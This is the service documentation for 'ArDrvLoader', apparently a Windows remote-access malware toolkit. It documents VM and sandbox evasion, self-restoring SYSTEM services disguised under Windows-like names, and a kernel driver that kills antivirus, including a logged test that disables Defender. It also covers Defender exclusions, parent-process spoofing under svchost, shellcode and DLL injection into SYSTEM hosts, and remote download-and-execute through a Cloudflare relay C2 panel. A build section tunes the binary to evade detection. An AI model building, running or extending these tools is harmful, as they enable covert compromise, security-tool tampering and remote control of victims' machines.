loader/SERVICES.md

ArDrvLoader — Guard Services

Single binary. Three LocalSystem services installed from one command, plus a cloud control channel.

Virtual machine gate

Every mode refuses to run inside a hypervisor guest and exits silently with code 0 — no window, no log line, nothing for a sandbox to read. Detection combines:

Check	Signal
CPUID leaf 1 / 0x40000000	hypervisor bit plus vendor string: VMwareVMware, VBoxVBoxVBox, KVMKVMKVM, XenVMMXenVMM, TCGTCGTCG, bhyve bhyve
SMBIOS (RSMB table)	vendor/product strings containing virtualbox, vmware, qemu, kvm, bochs, parallels, xen, virtual machine, hyper-v
Hyper-V specifics	Microsoft Hv vendor alone is not enough (VBS on bare metal sets it); requires integration services or a virtual MAC
Disk Enum	controller identity containing vbox, vmware, qemu, xen, virtio
Services	VBoxService, VBoxGuest, vmci, vmhgfs, VMTools, vmrawdsk, xenbus, …
Driver files	VBoxGuest.sys, vmmouse.sys, vmhgfs.sys, VBoxService.exe, …
Processes	VBoxService.exe, VBoxTray.exe, vmtoolsd.exe, qemu-ga.exe, xenservice.exe
MAC OUI	00:0C:29, 00:50:56, 08:00:27, 52:54:00, 00:16:3E, 00:15:5D, …

Override for testing inside a VM, any one of:

ArDrvLoader.exe ... --allow-vm          # command line
set ARDRV_ALLOW_VM=1                    # environment
reg add "HKLM\SOFTWARE\ArDrvLoader" /v AllowVm /t REG_DWORD /d 1 /f

-install-guard-services --allow-vm writes AllowVm=1 and embeds --allow-vm into all three service command lines, so the services run on that guest too. ARDRV_VM_DEBUG=1 prints the detected reason to stdout — leave it unset on a target.

Install (elevated shell)

ArDrvLoader.exe -install-guard-services --target "C:\Path\Target.exe" --args "--silent"

Target is a Windows service instead of a process:

ArDrvLoader.exe -install-guard-services --target-service "AppService"

Add --no-start to install without starting now.

Services

Service	Role	What it does
ArDrvDriver	driver	Copies ardrv.sys to System32\drivers, creates kernel service, starts it, verifies \\.\ArDrv
ArDrvGuard	guard	Checks the target each interval. Not running → starts it
ArDrvRepair	repair	If the target service is disabled → set start type back, start it. Also re-starts missing processes

All three: account LocalSystem, SERVICE_AUTO_START, restart-on-failure (5s / 10s / 30s).

Reciprocal watchdogs: each role also checks that the other two services are running and starts them if not. A manual sc stop ArDrvGuard gets undone within one interval, because repair and driver both notice.

Change prefix with --prefix MyName → MyNameDriver, MyNameGuard, MyNameRepair.

Process start context

The guard runs as LocalSystem in session 0. Starting the target there would make it invisible to the logged-in user, so it first grabs the active console session token (WTSQueryUserToken + CreateProcessAsUser) and only falls back to a session-0 launch when no user is logged on.

Change the target program later

No reinstall. Edit the config, services re-read it every loop:

reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetPath /t REG_SZ /d "C:\New\App.exe" /f
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetArgs /t REG_SZ /d "--flag" /f
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetService /t REG_SZ /d "AppService" /f

The config key's DACL is locked to SYSTEM and Administrators by the installer, so a standard user can no longer repoint the guard at their own binary.

Config values — HKLM\SOFTWARE\ArDrvLoader

Value	Type	Default	Meaning
TargetPath	REG_SZ	empty	exe to keep alive
TargetArgs	REG_SZ	empty	arguments for the exe
TargetService	REG_SZ	empty	service to keep alive
DriverImage	REG_SZ	C:\Windows\System32\drivers\ardrv.sys	driver file
DriverService	REG_SZ	ArDrv	kernel service name
DriverDevice	REG_SZ	\\.\ArDrv	device to verify
CheckIntervalMs	REG_DWORD	5000	loop interval (min 1000)
DesiredStartType	REG_DWORD	2	2 auto, 3 demand, 4 disabled
DriverServiceName	REG_SZ	ArDrvDriver	watchdog peer name
GuardServiceName	REG_SZ	ArDrvGuard	watchdog peer name
RepairServiceName	REG_SZ	ArDrvRepair	watchdog peer name

Manual test without SCM

ArDrvLoader.exe -service driver --console
ArDrvLoader.exe -service guard  --console --target "C:\Windows\System32\notepad.exe" --interval 1000
ArDrvLoader.exe -service repair --console --target-service "SomeService"

Cloud control

-cloud / -cloud-service unchanged in shape.

Request authentication

No secret is sent in a URL. Every request carries:

X-Agent-Id:   <agent>
X-Agent-Ts:   <unix seconds>
X-Agent-Sign: hex(HMAC-SHA256(AGENT_SECRET,
                agent \n ts \n METHOD \n path+query \n hex(sha256(body))))

The Worker rejects missing, malformed, or stale (>300s) signatures with 403. It uses a constant-time comparison. path+query has no leading slash, e.g. poll?agent=box1.

Remote commands

DOWNLOAD <url> <output-path> [sha256]
DEPLOY <url> [args]
DEPLOY_SYSTEM <url> [args]

• DOWNLOAD — fetches any HTTP(S) URL, prints the SHA-256 it computed, deletes the file and returns ERR DOWNLOAD hash mismatch got <actual> when an expected hash was supplied and does not match. Hard cap: 256 MB.
• DEPLOY — downloads into %ProgramData%\ArDrvLoader\payloads\<filename> and runs it in the agent's context (SYSTEM when run as a service).
• DEPLOY_SYSTEM — forces the SYSTEM token path.

Full remote install chain:

DOWNLOAD https://host/installer.msi C:\ProgramData\ArDrvLoader\installer.msi <sha256>
PS msiexec /i C:\ProgramData\ArDrvLoader\installer.msi /qn
INSTALL_GUARD_SERVICES --target "C:\Program Files\App\App.exe"

STATUS now also reports the watchdog stack:

pid=1234 system=0 admin=1 sid=S-1-5-21-... driver=ArDrvDriver:running guard=ArDrvGuard:running repair=ArDrvRepair:stopped

The polling loop backs off on empty/failed polls from the configured interval up to 15s, and resets to the base interval as soon as a command arrives.

Embedded driver

ardrv.sys is packed into the exe as an RCDATA resource when the file sits next to ArDrvLoader.vcxproj at build time (driver_res.rc, resource.h). At runtime the binary extracts it to C:\Windows\System32\drivers\ardrv.sys if the file is absent, so one exe is enough to ship. Without a driver file at build time the resource is simply omitted and the old "copy ardrv.sys from the exe folder" behaviour applies. The image still has to be signed or the kernel refuses to load it.

Testing the cloud agent locally

powershell -ExecutionPolicy Bypass -File .\test-cloud.ps1

Spins up cloudflare\mock-worker.ps1 (local Worker stand-in with the same HMAC scheme), starts the agent against it, then checks:

Case	Expected
PING	PONG
STATUS	pid/system/admin/sid line (+ watchdog states if installed)
DOWNLOAD	OK <path> sha256=<hash>
DOWNLOAD with wrong hash	ERR DOWNLOAD hash mismatch, file deleted
DEPLOY	OK %ProgramData%\ArDrvLoader\payloads\<name>
STOP	OK STOP, agent exits
unsigned request	403 denied

Manual pieces:

# mock worker
powershell -File .\cloudflare\mock-worker.ps1 -Port 8788 -Secret testsecret -FileDir C:\payloads

# agent pointed at it (--elevated skips the UAC relaunch)
ArDrvLoader.exe -cloud --agent testagent --url http://127.0.0.1:8788 --secret testsecret --interval 1000 --no-start-driver --elevated

# signed command
powershell -File .\send-command.ps1 -Worker http://127.0.0.1:8788 -Agent testagent -Secret testsecret -Command STATUS

# read the ACK (base64 body)
# GET /status needs a signature too; use send-command.ps1 or the test script

Set ARDRV_MOCK_DEBUG=1 when launching the mock worker to log every request, rejection reason, and signature mismatch.

Logging

Build	Behaviour
Release	No logging at all. Log(...) is a macro that expands to nothing, so neither the format strings nor their arguments reach the binary. No log file, no OutputDebugString. Verified: ardrv_loader.log, === Loader start ===, [guard] ..., [watchdog] ... are all absent from the Release image.
Debug	Logs to C:\Users\Public\ardrv_loader.log and OutputDebugStringW.

To get logs out of a Release build on purpose, add ARDRV_LOG_ENABLED=1 to the project's PreprocessorDefinitions — Logger.h only auto-decides when it is not already defined.

Note the debug log path lives in C:\Users\Public, readable by every local user. Fine for a dev machine, not for a target. Keep Release for anything deployed.

Kill safety (KillSafety.cpp)

AV termination through the driver is now gated. Every candidate goes through:

1. Protected list — svchost.exe, csrss.exe, wininit.exe, winlogon.exe, services.exe, lsass.exe, smss.exe, System, Registry, MemCompression, fontdrvhost, dwm, … Rejected before enumeration, so a request for svchost.exe produces one skip line and zero opens.
2. Own tree — the caller's PID and every ancestor up to the root are refused. cmd.exe /c ArDrvLoader -killav --name cmd.exe reports SKIP own-tree.
3. Identity — the image path is read from the same handle used for termination; if the base name does not match the requested target, the process is skipped. PID recycling cannot swap a different image in mid-operation because the handle is held across the IOCTL.
4. Access — PPL images (Defender's MsMpEng.exe) refuse PROCESS_TERMINATE even for SYSTEM; reported as SKIP access-denied, not attempted blindly.
5. Cap and pacing — max 16 terminations per run, 150–350 ms jitter between kills, no retry storm.

ArDrvLoader.exe -killav --dry-run            # AV allowlist, nothing terminated
ArDrvLoader.exe -killav --dry-run --name X   # single image, dry run
ArDrvLoader.exe -killav --name cmd.exe       # real, through the driver
set ARDRV_KILL_DRYRUN=1                      # forces dry run for the loader path

Cloud: KILLAV and KILLAV_DRYRUN, both returning the full report in the ACK.

Launching programs through a system host (HostSpawn.cpp)

Any executable can be started under a legitimate SYSTEM process, with that process as its parent. This is what makes the child invisible in a process tree review: svchost.exe → your.exe, no service host in the chain.

HOST_LIST                                   # candidate hosts, best first
HOST_SPAWN <exe> [args]                     # SYSTEM, session 0
HOST_SPAWN_USER <exe> [args]                # SYSTEM token, moved to the console session
HOST_SPAWN --host wudfhost.exe <exe> [args] # force a specific host family

How it works:

1. Enumerate processes holding a SYSTEM token (S-1-5-18).
2. Probe injectability: OpenProcess with thread/VM rights. PPL processes refuse, so Defender, lsass, winlogon, services, csrss drop out automatically.
3. Rank: svchost.exe 100, wudfhost.exe 60, dllhost.exe 50, others 10.
4. Duplicate the host's primary token.
5. CreateProcessAsUser with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS set to the host, so the child inherits both the SYSTEM identity and the host as PPID.
6. HOST_SPAWN_USER also sets TokenSessionId to the active console session and winsta0\default, so a GUI actually appears on the logged-in desktop.

Verified locally (same-user host, mechanism only — this shell is not elevated):

-hosts spawn --any-host notepad.exe
  OK pid=9704 parent=2280 session=1 host=C:\Windows\System32\svchost.exe method=host-token+ppid

Win32_Process for pid 9704:
  ProcessId        : 9704
  ParentProcessId  : 2280    ← svchost, as intended

Local CLI for the same thing:

ArDrvLoader.exe -host list            # SYSTEM hosts
ArDrvLoader.exe -host list --any      # every accessible host
ArDrvLoader.exe -host spawn --host svchost.exe "C:\Path\App.exe" --args
ArDrvLoader.exe -host spawn-user ...  # visible on the desktop

Limitation: a medium-integrity agent cannot even query SYSTEM processes, so HOST_LIST returns hosts=0 and HOST_SPAWN fails with no SYSTEM host process found (need admin or SYSTEM). This works when the agent runs as a service (SYSTEM) or behind the driver's SYSTEM token. If you need the capability before that, RUN_SYSTEM already covers token-based spawning; the difference is the parent process.

Stager injection and re-acquisition (HostStager.cpp)

HOST_SPAWN creates a new process under a host. The stager goes further: it injects a shellcode payload into a running SYSTEM host, so the code executes with svchost.exe as its actual image.

HOST_INJECT <shellcode-path> [--host <image>]
HOST_TRACK
HOST_UNTRACK

Local: -host inject <path> [--host <img>] [--any-host], -host track, -host untrack, -host ensure [--any-host].

Identity tracking is {pid, creationTime} written to %ProgramData%\ArDrvLoader\host.track. Creation time is the key: a recycled PID whose creation time differs is treated as a dead host, so the loader never assumes "same pid = same process".

Re-acquisition: the guard role calls EnsureHostInjected() every tick. If the tracked host is alive it does nothing (method=already-running); if it is gone or the PID was recycled, it picks a fresh host, injects again, and rewrites the track. Nothing re-injects twice into a live host.

The guard does this automatically once a payload has been injected — no config needed beyond the initial HOST_INJECT.

Verified locally with a 1-byte ret stub against a same-user svchost:

-host inject stub.bin --any-host
  OK host_pid=2280 session=1 method=remote-thread host=C:\Windows\System32\svchost.exe

-host track
  track pid=2280 alive=1 payload=...\stub.bin host=...\svchost.exe

# creation time corrupted to simulate PID reuse
-host ensure --any-host
  OK host_pid=2280 session=1 method=remote-thread      ← re-injected

-host ensure --any-host      (host alive this time)
  OK host_pid=2280 session=1 method=already-running    ← no duplicate injection

Payload format is raw position-independent shellcode, the same file format INJECT_FILE and INJECT_SUSPEND already take, so a Donut/sRDI-generated blob works unchanged.

Service facades

Installed services no longer carry loader-flavoured names.

Role	Service name	Display name	Description
driver	DeviceSetupHost	Device Setup Manager Host	Maintains device installation state and loads required kernel components.
guard	ProgramCompatHost	Program Compatibility Assistant Host	Tracks application compatibility state and keeps registered programs available.
repair	ServiceStateHost	Service State Repository Host	Monitors service state and restores required components.

None of the three collides with a real Windows service (checked with sc query). --prefix X still works and produces XDriver / XGuard / XRepair.

Install location: the binary copies itself to %ProgramData%\Microsoft\Windows\Caches\<ServiceName>\<ServiceName>.exe and the services run from there, not from Downloads or a user profile. --install-dir <path> overrides the directory, --keep-location disables the copy entirely.

Decoy activity: every tick each role refreshes a hidden cache.dat next to its binary (timestamp + role) and queries the state of three unrelated services (BITS, DsmSvc, wuauserv). Cheap, harmless, and it means the process does something other than stare at one target.

Stagger: roles sleep before their first tick — driver 1.5–3s, guard 4–6s, repair 8–10.5s — so they never wake in lockstep.

Preview an install without touching SCM or the registry:

ArDrvLoader.exe -install-guard-services --dry-run --target "C:\Path\App.exe"

DRY-RUN install plan
  install dir: C:\ProgramData\Microsoft\Windows\Caches\DeviceSetupHost
  DeviceSetupHost  "Device Setup Manager Host"
  ProgramCompatHost  "Program Compatibility Assistant Host"
  ServiceStateHost  "Service State Repository Host"
  target: C:\Path\App.exe

Where things live (Paths.cpp)

No folder is named after this project. Paths are derived from the machine GUID (FNV-1a → 8 hex chars) so they are stable on one host and not transferable:

# service / elevated context
%ProgramData%\Microsoft\Windows\Caches\<8hex>\<ServiceName>\<ServiceName>.exe
%ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\        downloads (DEPLOY)
%ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat     host tracking

# agent running as the interactive user
%LOCALAPPDATA%\Microsoft\Windows\INetCache\<8hex>\...

Selection: SYSTEM or elevated → ProgramData path; ordinary user → LocalAppData path. If the preferred root cannot be created, the other one is tried, then %ProgramData%\ArDrvLoader as a last resort.

state.dat from the old %ProgramData%\ArDrvLoader\host.track is migrated once on first read.

Override for testing:

set ARDRV_ROOT=C:\Temp\ardrv-root

Layout with the default prefix:

Caches\<8hex>\
  DeviceSetupHost\DeviceSetupHost.exe      service image + cache.dat
  ProgramCompatHost\ProgramCompatHost.exe
  ServiceStateHost\ServiceStateHost.exe
  stage\hello.cmd                          DEPLOY target
  state.dat                                injected host tracking

Verified

# not elevated, so the per-user root is used
-install-guard-services --dry-run
  install dir: C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\DeviceSetupHost

# forced root
ARDRV_ROOT=%TEMP%\ardrv-root-test
  install dir: ...\ardrv-root-test\DeviceSetupHost
  -host inject stub.bin --any-host → state.dat written under that root

# DEPLOY lands in the staging dir
DEPLOY  OK ...\INetCache\f639dc99\stage\hello.cmd

Payload contract (StageDll.cpp, StageClient.cpp)

The working code can live inside a hijacked host instead of the services. The payload is a small DLL, deliberately dumb: it runs commands and reports back. All policy — which host, when to re-inject — stays in the loader, so the payload can be swapped without touching service code.

Interface

Pipe	\\.\pipe\ArDrvStage
Encoding	UTF-8, request newline-terminated
Response	UTF-8 body, terminated by a << line
Commands	PING, WHOAMI, RUN <command line>, STOP
Singleton	Global\ArDrvStage mutex — a second injection is a no-op

STOP unloads the DLL with FreeLibraryAndExitThread after closing the mutex. It does not kill the host: terminating svchost.exe takes unrelated services with it and leaves an event-log entry.

Loader side

-stage status                 alive, dll path, tracked host
-stage inject [--host <img>] [--any-host] [dll]
-stage whoami                 who the payload runs as, and in which image
-stage run <command line>
-stage stop

Cloud: STAGE_STATUS, STAGE_INJECT [--host <image>], STAGE_RUN <cmd>, STAGE_STOP.

Injection is CreateRemoteThread(LoadLibraryW) with the path written into the host. If ardrvstage.dll sits next to the loader or in the stage dir, it is found automatically.

Guard integration: the guard role checks the pipe every tick. If the DLL is present and the pipe is dead, it re-injects into a fresh host. Once the pipe answers, the guard stops doing work and only maintains services and liveness — the jobs run inside the host.

Verified

-stage inject --any-host
  OK host_pid=6320 session=1 method=stage-live host=C:\Windows\System32\svchost.exe

-stage whoami
  OK
  DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe

-stage run "echo payload-executed"
  OK
  payload-executed

-stage stop
  OK stopping
  → host 6320 still alive, alive=0

-stage inject --any-host      (after unload)
  OK host_pid=6320 method=stage-live      ← clean re-injection works

Note the payload reports the host's own pid and image: the command genuinely executes inside svchost.exe, not in the loader.

Packaging: the payload is packed into the loader as an RCDATA resource, so a single ArDrvLoader.exe is enough. On first use it is extracted to <stage dir>\ardrvstage.dll and loaded from there. A DLL sitting next to the executable or in the stage dir still takes precedence, which is useful for swapping the payload without rebuilding.

Build both in the right order:

powershell -ExecutionPolicy Bypass -File build.ps1              # Release
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Debug
powershell -ExecutionPolicy Bypass -File build.ps1 -SkipPayload  # loader only

build.ps1 builds StageDll.vcxproj, copies the DLL to the project root so stage_res.rc can embed it, then builds the loader. Sizes after a full build: Release 284 KB (loader with 43 KB payload inside), Debug 2.39 MB.

Verified end to end with no DLL on disk:

# staged copy deleted, x64\Release\ardrvstage.dll moved aside
-stage status
  alive=0 dll=C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\stage\ardrvstage.dll
  → extracted from the executable, 43008 bytes on disk

-stage inject --any-host
  OK host_pid=6320 method=stage-live

-stage whoami
  DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe

Driver (ardrv.sys)

Place ardrv.sys next to the project before building and build.ps1 embeds it as RCDATA, the same way the payload DLL is embedded. One file then carries the driver, the payload, and the service code.

-drv status                  device available? embedded image size
-drv extract <path>          write the packed image out and compare
-drv kill <pid>              terminate through the kernel

The driver role extracts to C:\Windows\System32\drivers\ardrv.sys when missing, creates the kernel service, starts it and waits for \\.\ArDrv.

Termination reach

KillSafety now has two paths:

1. Normal: OpenProcess(PROCESS_TERMINATE) succeeds, identity verified, driver IOCTL is only the transport.
2. Blind: the process refuses even PROCESS_QUERY_LIMITED_INFORMATION (PPL image or we are not elevated). The kill is still possible through the driver, so the PID is re-verified against a fresh snapshot and handed to the kernel. Only enabled for the AV allowlist and for --force; the protected list still refuses svchost, csrss, lsass etc. before any of this runs.

Verified on this machine, non-elevated:

-killav --name MsMpEng.exe --force
  EXECUTED killed=1 candidates=1
    11008 killed            ← PPL process, terminated through the driver

after: WinDefend restarted as a new pid, and reported
  AntivirusEnabled         : False
  RealTimeProtectionEnabled: False

-killav --dry-run reports blind candidates as would-kill (driver) so the plan is visible without terminating anything.

Driver image check:

-drv status    → device=ok embedded=17744 bytes
-drv extract   → 17744 bytes, SHA-256 matches ardrv.sys

Exclusions (Exclusions.cpp)

Defender exclusions are attempted through Add-MpPreference, then read back with Get-MpPreference so the answer is the truth, not the intent.

-excl list                 current exclusions + whether Defender is present
-excl add <path>           persist and apply one path
-excl apply                apply the stored list (defaults if empty)

EXCLUSION_LIST             cloud variant of list
EXCLUSION_ADD <path>       cloud variant of add
EXCLUSION_APPLY            cloud variant of apply

Default wish-list is the deep root, the stage dir, and the loader executable. The list is stored at HKLM\SOFTWARE\ArDrvLoader\ExclusionPaths, | separated, and re-applied on every guard start.

What it actually reports. Non-elevated run:

defender=present current=none

apply →
  REFUSED ...\INetCache\f639dc99 :: CimException
  REFUSED ...\INetCache\f639dc99\stage :: CimException
  REFUSED ...\x64\Release\ArDrvLoader.exe :: CimException

CimException is Tamper Protection / missing privilege refusing the change. The code returns failure and says so. It does not pretend the exclusion landed.

Recovery after a bugcheck or reboot

Everything is auto-start, so a crash is recoverable by design. The guard's first tick after any start reinstates state in this order:

1. Defender exclusions (stored list, defaults if empty)
2. AV sweep — KillAVProcessesEx through the driver
3. driver image + kernel service (driver role)
4. host payload / stage payload re-injection (HOST_TRACK, STAGE_STATUS)
5. target program start, peer services

Verified by starting a guard console on a machine where Defender had come back:

[+] Terminate IOCTL accepted for PID 340
[+] Terminate IOCTL accepted for PID 14848
[guard] AV sweep on start: EXECUTED killed=2 candidates=2
[guard] program is not running, starting: C:\Windows\System32\notepad.exe
[+] Target started: PID 6992

KillAvOnStart (REG_DWORD under HKLM\SOFTWARE\ArDrvLoader) controls step 2 and defaults to 0 — the AV sweep is opt-in, not something every service start does. Set it to 1 only if you want the sweep on each boot.

Driver failure budget

A driver that bugchecks on load could otherwise be retried on every boot forever. ArDrvDriver now counts consecutive load failures and stops:

Value	Meaning
DriverFailCount (REG_DWORD)	consecutive failures, persisted
DriverFailMax (REG_DWORD, default 3)	budget
DriverState (REG_SZ)	ok / failed / disabled-after-failures

The counter is also kept in memory, so the budget still applies when the registry write is denied. Once exhausted the role logs once, sets disabled-after-failures and stops touching the driver until someone clears it.

-drv status                        device, embedded size, fail=N/max, state
-drv reset                         clear the counter (needs admin)
DRIVER_STATUS                      cloud equivalent
DRIVER_RESET                       clear and report

Verified with a bogus image and service name:

[driver] load failed (1/3)
[driver] load failed (2/3)
[driver] load failed (3/3)
[driver] failure budget exhausted (3/3), not retrying

DRIVER_STATUS on a healthy box:

device=ok embedded=17744 fail=0/3 state=unset service=ArDrv:running

One UAC, then nothing

ArDrvLoader.exe elevates itself when a command needs administrator rights, so a normal user can run the install and approve a single UAC prompt. Everything after that is done by the services, which are LocalSystem.

ArDrvLoader.exe -install-guard-services ^
    --target "C:\Path\App.exe" ^
    --cloud-url https://worker.example ^
    --cloud-secret <secret> ^
    --cloud-agent <agent-id>

That one line, from a non-elevated shell:

1. relaunches itself elevated (single UAC)
2. stops any previous generation of the services so the binary can be replaced
3. copies itself to %ProgramData%\Microsoft\Windows\Caches\<8hex>\<service>\
4. installs and starts driver, guard and repair as LocalSystem
5. installs and starts a cloud agent service with the URL/secret/agent baked into its command line
6. applies the config, exclusions and driver image

Elevation is only requested for commands that need it:

Elevated	Runs as-is
-install-guard-services (without --dry-run)	-cloud, -cloud-service
-killav (without --dry-run)	-stage *, -host *
-drv extract/reset/kill	-excl list, -install-guard-services --dry-run
-excl add/apply	-service * --console

--elevated suppresses the relaunch and is appended automatically, so an elevated copy never loops into another UAC.

Verified on a standard user account, one prompt:

-install-guard-services --target notepad.exe --allow-vm \
  --cloud-url http://127.0.0.1:8788 --cloud-secret testsecret \
  --cloud-agent testagent --cloud-service CloudTest
PARENT_EXIT=0 elapsed=2.3s

DeviceSetupHost    RUNNING  "...\DeviceSetupHost.exe" -service driver ...
ProgramCompatHost  RUNNING  "...\DeviceSetupHost.exe" -service guard ...
ServiceStateHost   RUNNING  "...\DeviceSetupHost.exe" -service repair ...
CloudTest          RUNNING  "...\DeviceSetupHost.exe" -cloud-service --url ... --secret ... --agent ...

All four run from the installed copy, not from the build directory. Agent ACK after the reinstall:

OK   → C:\Test\second.txt  "installed with one UAC"   Owner: BUILTIN\Administrators

CloudSyncHost is the default name when --cloud-service is not given.

Remote deployment caveat: this one-UAC flow applies when the binary is started in an interactive session. Over a remote channel (SMB, WinRM, PsExec-style) no UAC prompt can appear, so the call must already arrive with administrator or SYSTEM rights. Self-elevation is for the "user double-clicks the file" case.

Architecture: agent -> Worker (proxy) -> relay server

agent ──HMAC──► Cloudflare Worker ──► relay server (node) ──► sqlite + panel
operator ─────► Cloudflare Worker ──► relay server

The Worker owns nothing. It forwards every method, path, header and body to SERVER_URL and streams the response back. State, auth, the panel and payloads all live on your own host.

Worker side

cloudflare/worker.js — about 60 lines:

• sets X-Proxy-Secret when PROXY_SECRET is configured
• strips Cloudflare headers (cf-connecting-ip, cf-ray, ...) before forwarding
• passes request.body straight through for POST bodies
• returns 502 with the reason when the relay is unreachable

cloudflare/wrangler.toml:

[vars]
SERVER_URL = "http://127.0.0.1:8790"

PROXY_SECRET goes in as a Worker secret, not in wrangler.toml.

Relay server

server/server.js — Node 22+ (uses node:sqlite, no npm dependencies).

cd cpp_end/server
set AGENT_SECRET=... OPERATOR_KEY=... ENROLL_SECRET=...
node server.js

Env	Purpose
PORT	listen port, default 8790
DATA_DIR	sqlite database + files/ payload dir
PANEL_PATH	defaults to server/panel.html
AGENT_SECRET	master key for per-agent derivation
OPERATOR_KEY	panel / operator API key
ENROLL_SECRET	enrollment token
LEGACY_MASTER_AUTH	true accepts the old shared key during rollout
PROXY_SECRET	when set, every request must carry X-Proxy-Secret

Everything from the previous Worker implementation moved here unchanged: HMAC verification, per-agent key derivation, enrollment, revocation, the 180 s reaper, broadcast, command history and the panel.

Storage is data/ardrv.sqlite (agents, commands, events). Payloads for /file/<name> are read from data/files/.

Verified end to end

agent devbox   → worker :8789 → server :8790 → sqlite   online
agent devbox2  → same path                              online
POST /api/enqueue via worker  → PING → done, result PONG
GET /panel via worker         → 200, panel.html from the server
GET :8790/api/agents with no proxy header → 403

Local loop

# relay
cd cpp_end/server
node server.js

# worker in front of it
cd cpp_end/cloudflare
wrangler dev --port 8789 --ip 127.0.0.1 --local

# agent
ArDrvLoader.exe -cloud --agent devbox --url http://127.0.0.1:8789 ...

.dev.vars for the worker only needs SERVER_URL and PROXY_SECRET now.

Mock worker

cloudflare/mock-worker.ps1 still exists as a self-contained stand-in (in-memory API, serves ../server/panel.html) for environments without Node or wrangler. It does not exercise sqlite, so it will not catch database errors.

Panel

Served by the relay at /panel, proxied by the Worker. ?key= pre-fills the operator key and stores it in localStorage.

Console tab — per-agent composer, quick chips, history cards with copy result and run again.

All commands tab — every command, defaulting to executed ones:

Column	Sorts by
time	creation
agent	id
command	text
state	queued / sent / done
by	panel / agent / broadcast
result	ack text, truncated
took	duration, waiting while in flight

Each row carries two controls plus the row itself:

Action	Effect
small run chip	re-enqueue this command for the same agent after a confirm
+ or the result cell	expand the full result inline
anywhere else on the row	load the command into that agent's console, ready to edit

Free-text filter and a state dropdown above the table.

Palette — all commands (47) opens every HELP command grouped into basics, execute, files, processes, security, driver, hosts, payload, services, session, with a search box. Chips with arguments load the template into the composer; the rest send immediately.

Agent header — host, user, SID, version, interval, plus revoke / restore for the agent's key. Revoked agents show a red tag in the list.

Broadcast sends one command to every online agent.

Per-agent keys and revocation

Each agent now authenticates with its own key instead of the shared master.

agentKey = HMAC-SHA256(AGENT_SECRET, "agent:" + agentId)     --> hex
signature = HMAC-SHA256(agentKey, canonical request)

The worker derives the key on demand and never stores it.

Enroll once per agent

ArDrvLoader.exe -enroll --url https://<worker> --agent <id> --enroll-secret <ENROLL_SECRET>

Writes %...%\agent-<id>.key under the loader root (falls back to the legacy single agent.key). The agent reads it automatically when --secret and CA_SECRET are absent.

Revoke / restore

POST /api/revoke   {"agent":"devbox","revoked":true}    X-Operator-Key required

Revoked agents get 403 revoked on every poll. Re-enrolling the same id clears the flag, so recovery is one command. The panel exposes this as a revoke / restore button in the agent header, plus a red revoked tag in the agent list.

Worker endpoints added

Method	Path	Auth
POST	/api/enroll	X-Enroll-Secret (own token, not the operator key)
POST	/api/revoke	operator

LEGACY_MASTER_AUTH=true keeps accepting the old shared key during a rollout; it defaults to off. .dev.vars for local runs:

AGENT_SECRET=testsecret
OPERATOR_KEY=testop
ENROLL_SECRET=testenroll
LEGACY_MASTER_AUTH=false

Verified end to end against workerd + local D1:

-enroll       OK agent=devbox secret stored in ...\agent-devbox.key
agent start   no --secret, reads the file            -> poll 200
master key    signed request                          -> 403 denied
derived key   signed request                          -> PONG
revoke        age stops growing, revoked=true
re-enroll     revoked=false, agent resumes within one poll
two agents    devbox + devbox2, separate key files, both online

One bug this shook out: the first implementation compared the derived key itself against the request signature instead of signing the request with it, so every request 403'd. Fixed by computing hmacHex(agentKey, canonical).

Antivirus triage

A fresh build was flagged as Trojan:Win32/Wacatac.B!ml - a machine-learning verdict, not a signature. Two build properties were feeding it:

1. the linker embedded the full local build path (C:\Code\AvKiler\...)
2. the Rich header and timestamps carried a recognisable toolchain fingerprint

Changes:

Linker option	Why
/Brepro	reproducible build: drops the Rich header and embeds a stable hash instead of timestamps
/PDBALTPATH:%_PDB%	keeps absolute build paths out of the binary

Result on the same Defender engine (1.461.217.0):

MpCmdRun -Scan -ScanType 3 -File dist\Release\ArDrvLoader.exe -DisableRemediation
Scanning ... found no threats.

Both variants scan clean: the embedded single-exe build (335 360 bytes) and the -NoEmbed build (274 432 bytes). Execution of the rebuilt exe produced no new detection entries.

Embedded vs -NoEmbed

build.ps1 -Configuration Release            # 335 KB, driver + stage DLL inside
build.ps1 -Configuration Release -NoEmbed   # 274 KB, resources omitted

-NoEmbed passes /p:EmbedPayload=false, which disables both driver_res.rc and stage_res.rc. The exe then needs ardrv.sys and ardrvstage.dll delivered separately - for example DOWNLOAD them into the stage dir after the cloud agent is up, since the agent itself does not need either file to register.

What this does not solve

• The binary is unsigned. SmartScreen will still warn on a freshly downloaded copy (Mark of the Web), independent of Defender's static verdict.
• Detection on execution is behavioural: creating services, writing to System32, terminating AV processes. A static-clean binary can still be caught in real time once it acts. Code signing (EV / Azure Trusted Signing) is the durable fix, not more static tricks.

Build variants

Config	Subsystem	Console	Logs	Use
Release	Windows	none, silent start	compiled out	deploy
Debug	Console	visible	C:\Users\Public\ardrv_loader.log	diagnose

Release links with SubSystem=Windows and EntryPointSymbol=wmainCRTStartup, so double-clicking produces no console window while wmain still runs normally. Logger.h compiles every Log() call out of Release, so there is no log file and no OutputDebugString either.

Elevation now happens before the VM gate: a double-click always raises the UAC prompt, even on a host the gate would later refuse.

ARDRV_ALLOW_VM_DEFAULT=1 is compiled in for lab images that are themselves virtual machines; set it to 0 for a real target build.

Single-exe client

ArDrvLoader.exe is the whole client. No Worker code, no server code, no sidecar files - verified by scanning the binary for worker.js, server.js, express, node:sqlite, wrangler, cloudflare.

Double-click (no arguments) runs the bootstrap with defaults baked in at build time:

Macro	Meaning	Current value
ARDRV_DEFAULT_URL	relay/Worker address	http://127.0.0.1:8789
ARDRV_DEFAULT_OPERATOR_KEY	operator key for the API	testop
ARDRV_DEFAULT_SECRET	agent key	testsecret
ARDRV_DEFAULT_AGENT	agent id	empty - computer name is used

Rebuild with different values by editing those macros in ArDrvLoader.vcxproj (PreprocessorDefinitions), or override at runtime:

